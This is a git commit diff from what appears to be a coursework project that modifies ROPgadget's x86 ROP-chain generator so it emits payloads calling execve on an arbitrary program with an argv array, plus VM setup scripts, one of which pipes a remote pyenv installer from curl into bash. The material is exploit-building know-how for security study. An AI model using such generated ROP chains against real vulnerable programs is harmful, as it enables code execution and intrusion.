ARBITRARY PROGRAM BUT BAD (NO ARGS)

Co-authored-by: Liam Dalgarno <liamdalg99@gmail.com>
Co-authored-by: jack bond-preston <jackbondpreston@outlook.com>
This commit is contained in:
Liam Dalgarno 2020-11-26 17:55:08 +00:00
parent 807362d1e2
commit ca03d9d77d
4 changed files with 87 additions and 33 deletions

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@ -9,7 +9,8 @@
import re import re
from capstone import * from capstone import *
from textwrap import wrap
import sys
class ROPMakerX86(object): class ROPMakerX86(object):
@ -97,30 +98,34 @@ class ROPMakerX86(object):
print("p = b'" + ('A' * self.paddingLen) + "'\n") print("p = b'" + ('A' * self.paddingLen) + "'\n")
print("p += pack('<I', 0x%08x) # %s" %(popDst["vaddr"], popDst["gadget"])) command = "/bin/uname"
print("p += pack('<I', 0x%08x) # @ .data" %(dataAddr)) if len(command) % 4 > 0:
command = (4 - (len(command) % 4)) * "/" + command
command_chunks = wrap(command, 4)
address = 0
offset = 0
for i, chunk in enumerate(command_chunks):
offset = (i * 4)
address = dataAddr + offset
print(f"p += pack('<I', 0x{popDst['vaddr']:08x}) # {popDst['gadget']}")
print(f"p += pack('<I', 0x{address:08x}) # @ .data + {offset}")
self.__padding(popDst, {}) self.__padding(popDst, {})
print("p += pack('<I', 0x%08x) # %s" %(popSrc["vaddr"], popSrc["gadget"])) print(f"p += pack('<I', 0x{popSrc['vaddr']:08x}) # {popSrc['gadget']}")
print("p += b'/bin'") print(f"p += b'{ chunk }'")
self.__padding(popSrc, {popDst["gadget"].split()[1]: dataAddr}) # Don't overwrite reg dst self.__padding(popSrc, {popDst["gadget"].split()[1]: dataAddr}) # Don't overwrite reg dst
print("p += pack('<I', 0x%08x) # %s" %(write4where["vaddr"], write4where["gadget"])) print(f"p += pack('<I', 0x{write4where['vaddr']:08x}) # {write4where['gadget']}")
self.__padding(write4where, {}) self.__padding(write4where, {})
print()
print("p += pack('<I', 0x%08x) # %s" %(popDst["vaddr"], popDst["gadget"])) offset += 4
print("p += pack('<I', 0x%08x) # @ .data + 4" %(dataAddr + 4)) address += 4
self.__padding(popDst, {}) print()
print("p += pack('<I', 0x%08x) # %s" %(popSrc["vaddr"], popSrc["gadget"])) print(f"p += pack('<I', 0x{popDst['vaddr']:08x}) # { popDst['gadget'] }")
print("p += b'//sh'") print(f"p += pack('<I', 0x{address:08x}) # @ .data + {offset}")
self.__padding(popSrc, {popDst["gadget"].split()[1]: dataAddr + 4}) # Don't overwrite reg dst
print("p += pack('<I', 0x%08x) # %s" %(write4where["vaddr"], write4where["gadget"]))
self.__padding(write4where, {})
print("p += pack('<I', 0x%08x) # %s" %(popDst["vaddr"], popDst["gadget"]))
print("p += pack('<I', 0x%08x) # @ .data + 8" %(dataAddr + 8))
self.__padding(popDst, {}) self.__padding(popDst, {})
print("p += pack('<I', 0x%08x) # %s" %(xorSrc["vaddr"], xorSrc["gadget"])) print("p += pack('<I', 0x%08x) # %s" %(xorSrc["vaddr"], xorSrc["gadget"]))
@ -130,28 +135,59 @@ class ROPMakerX86(object):
self.__padding(write4where, {}) self.__padding(write4where, {})
print("p += pack('<I', 0x%08x) # %s" %(popEbx["vaddr"], popEbx["gadget"])) print("p += pack('<I', 0x%08x) # %s" %(popEbx["vaddr"], popEbx["gadget"]))
print("p += pack('<I', 0x%08x) # @ .data" %(dataAddr)) print(f"p += pack('<I', 0x{dataAddr:08x}) # @ .data")
self.__padding(popEbx, {}) self.__padding(popEbx, {})
# write end + 4, after the null bytes
print(f"p += pack('<I', 0x{popDst['vaddr']:08x}) # {popDst['gadget']}")
print(f"p += pack('<I', 0x{(address + 4):08x}) # @ .data + {offset + 4}")
self.__padding(popDst, {})
# write the data base address, which is the start of argv
print(f"p += pack('<I', 0x{popSrc['vaddr']:08x}) # {popSrc['gadget']}")
print(f"p += pack('<I', 0x{dataAddr:08x}) # @ .data")
self.__padding(popSrc, {popDst["gadget"].split()[1]: dataAddr}) # Don't overwrite reg dst
# perform the write: eax -> [edx]
print(f"p += pack('<I', 0x{write4where['vaddr']:08x}) # {write4where['gadget']}")
self.__padding(write4where, {})
# ARGV MUST BE FOLLOWED BY NULL POINTER
print(f"p += pack('<I', 0x{popDst['vaddr']:08x}) # { popDst['gadget'] }")
print(f"p += pack('<I', 0x{address + 8:08x}) # @ .data + {offset + 8}")
self.__padding(popDst, {})
print("p += pack('<I', 0x%08x) # %s" %(xorSrc["vaddr"], xorSrc["gadget"]))
self.__padding(xorSrc, {})
print("p += pack('<I', 0x%08x) # %s" %(write4where["vaddr"], write4where["gadget"]))
self.__padding(write4where, {})
## MEMORY LAYOUT: PROGRAM, NULL, POINTER TO ARGV WHICH FOR NOW IS BACK TO THE START, NULL
print("p += pack('<I', 0x%08x) # %s" %(popEcx["vaddr"], popEcx["gadget"])) print("p += pack('<I', 0x%08x) # %s" %(popEcx["vaddr"], popEcx["gadget"]))
print("p += pack('<I', 0x%08x) # @ .data + 8" %(dataAddr + 8)) print(f"p += pack('<I', 0x{(address + 4):08x}) # @ .data + {offset + 4}")
self.__padding(popEcx, {"ebx": dataAddr}) # Don't overwrite ebx self.__padding(popEcx, {"ebx": dataAddr}) # Don't overwrite ebx
print("p += pack('<I', 0x%08x) # %s" %(popEdx["vaddr"], popEdx["gadget"])) print("p += pack('<I', 0x%08x) # %s" %(popEdx["vaddr"], popEdx["gadget"]))
print("p += pack('<I', 0x%08x) # @ .data + 8" %(dataAddr + 8)) print(f"p += pack('<I', 0x{address:08x}) # @ .data + {offset}")
self.__padding(popEdx, {"ebx": dataAddr, "ecx": dataAddr + 8}) # Don't overwrite ebx and ecx self.__padding(popEdx, {"ebx": dataAddr, "ecx": address}) # Don't overwrite ebx and ecx
print("p += pack('<I', 0x%08x) # %s" %(xorEax["vaddr"], xorEax["gadget"])) print("p += pack('<I', 0x%08x) # %s" %(xorEax["vaddr"], xorEax["gadget"]))
self.__padding(xorEax, {"ebx": dataAddr, "ecx": dataAddr + 8}) # Don't overwrite ebx and ecx self.__padding(xorEax, {"ebx": dataAddr, "ecx": address}) # Don't overwrite ebx and ecx
# 11 = execve
for i in range(11): for i in range(11):
print("p += pack('<I', 0x%08x) # %s" %(incEax["vaddr"], incEax["gadget"])) print("p += pack('<I', 0x%08x) # %s" %(incEax["vaddr"], incEax["gadget"]))
self.__padding(incEax, {"ebx": dataAddr, "ecx": dataAddr + 8}) # Don't overwrite ebx and ecx self.__padding(incEax, {"ebx": dataAddr, "ecx": address}) # Don't overwrite ebx and ecx
print("p += pack('<I', 0x%08x) # %s" %(syscall["vaddr"], syscall["gadget"])) print("p += pack('<I', 0x%08x) # %s" %(syscall["vaddr"], syscall["gadget"]))
print() print("""
print(r"""
with open(out_file, "wb") as f: with open(out_file, "wb") as f:
f.write(p) f.write(p)
""") """)

7
Vagrantfile vendored
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@ -1,5 +1,8 @@
Vagrant.configure("2") do |config| Vagrant.configure("2") do |config|
config.vm.box = "generic/ubuntu1804" config.vm.box = "generic/ubuntu1804"
config.vm.provision "shell", path: "init.sh" config.vm.provision "shell", path: "init.sh", privileged: false
config.vm.synced_folder "./", "/home/vagrant/cw" config.vm.synced_folder "./", "/home/vagrant/cw", type: "nfs", nfs_version: 4, "nfs_udp": false, mount_options: ["rw", "vers=4", "tcp", "nolock"]
config.vm.provider :libvirt do |libvirt|
libvirt.cpus = 4
end
end end

19
init.sh
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@ -7,9 +7,24 @@ sudo apt-get --quiet --assume-yes install build-essential
sudo apt-get --quiet --assume-yes install gdb sudo apt-get --quiet --assume-yes install gdb
sudo apt-get --quiet --assume-yes install gcc-multilib sudo apt-get --quiet --assume-yes install gcc-multilib
sudo apt-get --quiet --assume-yes install zsh sudo apt-get --quiet --assume-yes install zsh
sudo apt-get --quiet --assume-yes install libncurses5 libncurses5-dev libncursesw5
sudo apt-get --assume-yes --quiet install python3 python3-pip python3-dev git libssl-dev libffi-dev sudo apt-get --assume-yes --quiet install git libssl-dev libffi-dev zlib1g-dev libbz2-dev libreadline-dev libsqlite3-dev
sudo apt-get --assume-yes --quiet install python
## pyenv
cd /home/vagrant/ && curl https://pyenv.run | bash
echo 'export PATH="/home/vagrant/.pyenv/bin:$PATH"' >> /home/vagrant/.bashrc
echo 'eval "$(pyenv init -)"' >> /home/vagrant/.bashrc
echo 'eval "$(pyenv virtualenv-init -)"' >> /home/vagrant/.bashrc
export PATH="/home/vagrant/.pyenv/bin:$PATH"
eval "$(pyenv init -)"
eval "$(pyenv virtualenv-init -)"
pyenv install 3.9.0
pyenv global 3.9.0
python3 -m pip install --upgrade setuptools
python3 -m pip install --upgrade pip python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools python3 -m pip install --upgrade pwntools
python3 -m pip uninstall --yes ROPgadget python3 -m pip uninstall --yes ROPgadget

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@ -1,4 +1,4 @@
#!/bin/bash #!/bin/bash
cd ROPgadget && sudo python3 setup.py install cd ROPgadget && python3 setup.py install